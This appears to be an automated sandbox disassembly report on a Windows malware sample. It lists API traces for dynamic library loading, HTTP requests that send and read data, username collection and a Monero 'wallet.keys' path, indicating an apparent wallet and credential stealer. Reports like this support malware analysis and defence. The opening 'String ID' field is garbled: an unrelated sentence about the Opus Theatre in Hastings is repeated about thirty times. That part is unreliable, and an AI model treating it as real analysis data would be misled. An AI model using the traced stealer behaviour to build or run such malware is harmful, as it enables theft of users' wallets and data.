String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: c366365fbd4c20552f9db844f20ae531f2198c9141a68cf1602123f3fb2437e1
Instruction ID: 0a9631802d410b619af4c19055ccc44c977520a5aa900cf921c791c692d2fc5f
Opcode Fuzzy Hash: c366365fbd4c20552f9db844f20ae531f2198c9141a68cf1602123f3fb2437e1
Instruction Fuzzy Hash: A04124606C2A046EEF35B7A58C46FDE7A52DFC3748F705072A8C452390CFB86506C7AA

Function 00474880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0048A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0048A7E6

Part of subcall function 004747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00474839
Part of subcall function 004747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00474849

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00474915
StrCmpCA.SHLWAPI(?,0123E858), ref: 0047493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00474ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00490DDB,00000000,?,?,00000000,?,",00000000,?,0123E908), ref: 00474DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00474E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00474E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00474E49
InternetCloseHandle.WININET(00000000), ref: 00474EAD
InternetCloseHandle.WININET(00000000), ref: 00474EC5
HttpOpenRequestA.WININET(00000000,0123E778,?,0123E298,00000000,00000000,00400100,00000000), ref: 00474B15

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

Part of subcall function 0048A920: lstrcpy.KERNEL32(00000000,?), ref: 0048A972
Part of subcall function 0048A920: lstrcat.KERNEL32(00000000), ref: 0048A982

InternetCloseHandle.WININET(00000000), ref: 00474ECF

Strings

------, xrefs: 00474B28
", xrefs: 00474BF2
------, xrefs: 004749BD
", xrefs: 00474D33
------, xrefs: 00474C69

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 63ee73a71b5f758b3ac8ffa0a6184976ae510e81df16d225440cbeb806c22ad6
Instruction ID: 5a3fc47f830fac519a9ee9adc9cf6de0dab9a369f537e76f1d4ff80e5a9c74cb
Opcode Fuzzy Hash: 63ee73a71b5f758b3ac8ffa0a6184976ae510e81df16d225440cbeb806c22ad6
Instruction Fuzzy Hash: 8412FD71910118AAEB15FB91DC92FEEB339AF14304F50459FB10662091DFB82F99CB7A

Function 00487850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004711B7), ref: 00487880
RtlAllocateHeap.NTDLL(00000000), ref: 00487887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0048789F

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: f5883007d09a8cfe8b3b1c7a53b851b7d3f667180ece71d9f8d60bffe1476838
Instruction ID: 8ba8c793ab7cf6ab3ee7c00d29def371284b3271a8e5ef7d4347b829d8c40e9a
Opcode Fuzzy Hash: f5883007d09a8cfe8b3b1c7a53b851b7d3f667180ece71d9f8d60bffe1476838
Instruction Fuzzy Hash: D4F04FF1D44208ABC700DFD8DD49FAEBBB8EB04711F10065AFA05A2680C77855448BA2

Function 00471160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0047116A
ExitProcess.KERNEL32 ref: 0047117E

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 1bcb3eeecc75703b25311057ad42369840053a71a9c91bfdad1cfaf8942cfbdb
Instruction ID: ad3eddc768c8144dc9721f47ce6e612fc97f9ea57b03240fe03f72d4723a15a7
Opcode Fuzzy Hash: 1bcb3eeecc75703b25311057ad42369840053a71a9c91bfdad1cfaf8942cfbdb
Instruction Fuzzy Hash: B3D05EB890430CDBCB00DFE0D9496DDBB79FB0C321F0016A9D90562340EA3154C1CAA6

Function 00489C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01225290), ref: 00489C2D
GetProcAddress.KERNEL32(74DD0000,01225230), ref: 00489C45
GetProcAddress.KERNEL32(74DD0000,012392F8), ref: 00489C5E
GetProcAddress.KERNEL32(74DD0000,01239358), ref: 00489C76
GetProcAddress.KERNEL32(74DD0000,01239418), ref: 00489C8E
GetProcAddress.KERNEL32(74DD0000,01239400), ref: 00489CA7
GetProcAddress.KERNEL32(74DD0000,0122BE58), ref: 00489CBF
GetProcAddress.KERNEL32(74DD0000,0123CF10), ref: 00489CD7
GetProcAddress.KERNEL32(74DD0000,0123CF58), ref: 00489CF0
GetProcAddress.KERNEL32(74DD0000,0123D030), ref: 00489D08
GetProcAddress.KERNEL32(74DD0000,0123D0A8), ref: 00489D20
GetProcAddress.KERNEL32(74DD0000,01225250), ref: 00489D39
GetProcAddress.KERNEL32(74DD0000,012252D0), ref: 00489D51
GetProcAddress.KERNEL32(74DD0000,012253D0), ref: 00489D69
GetProcAddress.KERNEL32(74DD0000,01225490), ref: 00489D82
GetProcAddress.KERNEL32(74DD0000,0123CDF0), ref: 00489D9A
GetProcAddress.KERNEL32(74DD0000,0123CF40), ref: 00489DB2
GetProcAddress.KERNEL32(74DD0000,0122BC50), ref: 00489DCB
GetProcAddress.KERNEL32(74DD0000,01225590), ref: 00489DE3
GetProcAddress.KERNEL32(74DD0000,0123D018), ref: 00489DFB
GetProcAddress.KERNEL32(74DD0000,0123CF88), ref: 00489E14
GetProcAddress.KERNEL32(74DD0000,0123CE08), ref: 00489E2C
GetProcAddress.KERNEL32(74DD0000,0123D048), ref: 00489E44
GetProcAddress.KERNEL32(74DD0000,01225550), ref: 00489E5D
GetProcAddress.KERNEL32(74DD0000,0123D060), ref: 00489E75
GetProcAddress.KERNEL32(74DD0000,0123CFA0), ref: 00489E8D
GetProcAddress.KERNEL32(74DD0000,0123CEE0), ref: 00489EA6
GetProcAddress.KERNEL32(74DD0000,0123CFB8), ref: 00489EBE
GetProcAddress.KERNEL32(74DD0000,0123CE98), ref: 00489ED6
GetProcAddress.KERNEL32(74DD0000,0123D0C0), ref: 00489EEF
GetProcAddress.KERNEL32(74DD0000,0123CFD0), ref: 00489F07
GetProcAddress.KERNEL32(74DD0000,0123CFE8), ref: 00489F1F
GetProcAddress.KERNEL32(74DD0000,0123CF70), ref: 00489F38
GetProcAddress.KERNEL32(74DD0000,0123A220), ref: 00489F50
GetProcAddress.KERNEL32(74DD0000,0123CEF8), ref: 00489F68
GetProcAddress.KERNEL32(74DD0000,0123CF28), ref: 00489F81
GetProcAddress.KERNEL32(74DD0000,012255F0), ref: 00489F99
GetProcAddress.KERNEL32(74DD0000,0123D000), ref: 00489FB1
GetProcAddress.KERNEL32(74DD0000,012252F0), ref: 00489FCA
GetProcAddress.KERNEL32(74DD0000,0123D078), ref: 00489FE2
GetProcAddress.KERNEL32(74DD0000,0123CDD8), ref: 00489FFA
GetProcAddress.KERNEL32(74DD0000,01225310), ref: 0048A013
GetProcAddress.KERNEL32(74DD0000,012257B0), ref: 0048A02B
LoadLibraryA.KERNEL32(0123CE20,?,00485CA3,00490AEB,?,?,?,?,?,?,?,?,?,?,00490AEA,00490AE3), ref: 0048A03D
LoadLibraryA.KERNEL32(0123D090,?,00485CA3,00490AEB,?,?,?,?,?,?,?,?,?,?,00490AEA,00490AE3), ref: 0048A04E
LoadLibraryA.KERNEL32(0123CE38,?,00485CA3,00490AEB,?,?,?,?,?,?,?,?,?,?,00490AEA,00490AE3), ref: 0048A060
LoadLibraryA.KERNEL32(0123CE50,?,00485CA3,00490AEB,?,?,?,?,?,?,?,?,?,?,00490AEA,00490AE3), ref: 0048A072
LoadLibraryA.KERNEL32(0123CE68,?,00485CA3,00490AEB,?,?,?,?,?,?,?,?,?,?,00490AEA,00490AE3), ref: 0048A083
LoadLibraryA.KERNEL32(0123CE80,?,00485CA3,00490AEB,?,?,?,?,?,?,?,?,?,?,00490AEA,00490AE3), ref: 0048A095
LoadLibraryA.KERNEL32(0123CEB0,?,00485CA3,00490AEB,?,?,?,?,?,?,?,?,?,?,00490AEA,00490AE3), ref: 0048A0A7
LoadLibraryA.KERNEL32(0123CEC8,?,00485CA3,00490AEB,?,?,?,?,?,?,?,?,?,?,00490AEA,00490AE3), ref: 0048A0B8
GetProcAddress.KERNEL32(75290000,01225850), ref: 0048A0DA
GetProcAddress.KERNEL32(75290000,0123D270), ref: 0048A0F2
GetProcAddress.KERNEL32(75290000,012391A0), ref: 0048A10A
GetProcAddress.KERNEL32(75290000,0123D2D0), ref: 0048A123
GetProcAddress.KERNEL32(75290000,01225690), ref: 0048A13B
GetProcAddress.KERNEL32(73440000,0122BC28), ref: 0048A160
GetProcAddress.KERNEL32(73440000,01225890), ref: 0048A179
GetProcAddress.KERNEL32(73440000,0122BB60), ref: 0048A191
GetProcAddress.KERNEL32(73440000,0123D180), ref: 0048A1A9
GetProcAddress.KERNEL32(73440000,0123D300), ref: 0048A1C2
GetProcAddress.KERNEL32(73440000,01225910), ref: 0048A1DA
GetProcAddress.KERNEL32(73440000,012258B0), ref: 0048A1F2
GetProcAddress.KERNEL32(73440000,0123D198), ref: 0048A20B
GetProcAddress.KERNEL32(752C0000,012256B0), ref: 0048A22C
GetProcAddress.KERNEL32(752C0000,01225950), ref: 0048A244
GetProcAddress.KERNEL32(752C0000,0123D1B0), ref: 0048A25D
GetProcAddress.KERNEL32(752C0000,0123D1C8), ref: 0048A275
GetProcAddress.KERNEL32(752C0000,01225990), ref: 0048A28D
GetProcAddress.KERNEL32(74EC0000,0122B750), ref: 0048A2B3
GetProcAddress.KERNEL32(74EC0000,0122B9F8), ref: 0048A2CB
GetProcAddress.KERNEL32(74EC0000,0123D2B8), ref: 0048A2E3
GetProcAddress.KERNEL32(74EC0000,01225630), ref: 0048A2FC
GetProcAddress.KERNEL32(74EC0000,012258D0), ref: 0048A314
GetProcAddress.KERNEL32(74EC0000,0122BA48), ref: 0048A32C
GetProcAddress.KERNEL32(75BD0000,0123D150), ref: 0048A352
GetProcAddress.KERNEL32(75BD0000,012256D0), ref: 0048A36A
GetProcAddress.KERNEL32(75BD0000,01239110), ref: 0048A382
GetProcAddress.KERNEL32(75BD0000,0123D138), ref: 0048A39B
GetProcAddress.KERNEL32(75BD0000,0123D2A0), ref: 0048A3B3
GetProcAddress.KERNEL32(75BD0000,01225870), ref: 0048A3CB
GetProcAddress.KERNEL32(75BD0000,012256F0), ref: 0048A3E4
GetProcAddress.KERNEL32(75BD0000,0123D1E0), ref: 0048A3FC
GetProcAddress.KERNEL32(75BD0000,0123D2E8), ref: 0048A414
GetProcAddress.KERNEL32(75A70000,01225750), ref: 0048A436
GetProcAddress.KERNEL32(75A70000,0123D390), ref: 0048A44E
GetProcAddress.KERNEL32(75A70000,0123D120), ref: 0048A466
GetProcAddress.KERNEL32(75A70000,0123D318), ref: 0048A47F
GetProcAddress.KERNEL32(75A70000,0123D1F8), ref: 0048A497
GetProcAddress.KERNEL32(75450000,012258F0), ref: 0048A4B8
GetProcAddress.KERNEL32(75450000,01225810), ref: 0048A4D1
GetProcAddress.KERNEL32(75DA0000,01225610), ref: 0048A4F2
GetProcAddress.KERNEL32(75DA0000,0123D288), ref: 0048A50A
GetProcAddress.KERNEL32(6F070000,01225930), ref: 0048A530
GetProcAddress.KERNEL32(6F070000,01225670), ref: 0048A548
GetProcAddress.KERNEL32(6F070000,012257F0), ref: 0048A560
GetProcAddress.KERNEL32(6F070000,0123D330), ref: 0048A579
GetProcAddress.KERNEL32(6F070000,01225650), ref: 0048A591
GetProcAddress.KERNEL32(6F070000,01225710), ref: 0048A5A9
GetProcAddress.KERNEL32(6F070000,01225830), ref: 0048A5C2
GetProcAddress.KERNEL32(6F070000,012259B0), ref: 0048A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0048A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0048A607
GetProcAddress.KERNEL32(75AF0000,0123D258), ref: 0048A629
GetProcAddress.KERNEL32(75AF0000,012390E0), ref: 0048A641
GetProcAddress.KERNEL32(75AF0000,0123D168), ref: 0048A659
GetProcAddress.KERNEL32(75AF0000,0123D348), ref: 0048A672
GetProcAddress.KERNEL32(75D90000,01225970), ref: 0048A693
GetProcAddress.KERNEL32(6CFC0000,0123D360), ref: 0048A6B4
GetProcAddress.KERNEL32(6CFC0000,01225730), ref: 0048A6CD
GetProcAddress.KERNEL32(6CFC0000,0123D210), ref: 0048A6E5
GetProcAddress.KERNEL32(6CFC0000,0123D378), ref: 0048A6FD

Strings

InternetSetOptionA, xrefs: 0048A5E5
HttpQueryInfoA, xrefs: 0048A5FC

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: f928891eca37b3c6eba67e7bc3214ffe641fc22927121889b170b26223d3e169
Instruction ID: c41d8b9c2eadc7a7bea7a4c45ce2d121fe360af5d7244156eebf2171d80eb049
Opcode Fuzzy Hash: f928891eca37b3c6eba67e7bc3214ffe641fc22927121889b170b26223d3e169
Instruction Fuzzy Hash: E0622FF9518200AFC354DFE8ED9899637FBF74C301714A72AE609C3664DA3A94C1DB52

Function 00476280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0048A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0048A7E6

Part of subcall function 004747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00474839
Part of subcall function 004747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00474849

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

InternetOpenA.WININET(00490DFE,00000001,00000000,00000000,00000000), ref: 004762E1
StrCmpCA.SHLWAPI(?,0123E858), ref: 00476303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00476335
HttpOpenRequestA.WININET(00000000,GET,?,0123E298,00000000,00000000,00400100,00000000), ref: 00476385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004763BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004763D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004763FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0047646D
InternetCloseHandle.WININET(00000000), ref: 004764EF
InternetCloseHandle.WININET(00000000), ref: 004764F9
InternetCloseHandle.WININET(00000000), ref: 00476503

Strings

GET, xrefs: 0047637C
ERROR, xrefs: 00476407
ERROR, xrefs: 004764C9

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 06584afc0dc49f348e74a4b62c4e3e745179cae49cdf17aae885416e64e7c80a
Instruction ID: 87f3cc9eafe6b2573de530db317f036a45e015956719af36f1e0df34e13874ff
Opcode Fuzzy Hash: 06584afc0dc49f348e74a4b62c4e3e745179cae49cdf17aae885416e64e7c80a
Instruction Fuzzy Hash: 6A715071A00218ABEF14EFE0DC45BEE7775BB44700F10859AF5096B190DBB86A85CF56

Function 00485510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0048A820: lstrlen.KERNEL32(00474F05,?,?,00474F05,00490DDE), ref: 0048A82B
Part of subcall function 0048A820: lstrcpy.KERNEL32(00490DDE,00000000), ref: 0048A885

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00485644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004856A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00485857

Part of subcall function 0048A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0048A7E6

Part of subcall function 004851F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00485228

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

Part of subcall function 004852C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00485318
Part of subcall function 004852C0: lstrlen.KERNEL32(00000000), ref: 0048532F
Part of subcall function 004852C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00485364
Part of subcall function 004852C0: lstrlen.KERNEL32(00000000), ref: 00485383
Part of subcall function 004852C0: lstrlen.KERNEL32(00000000), ref: 004853AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0048578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00485940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00485A0C
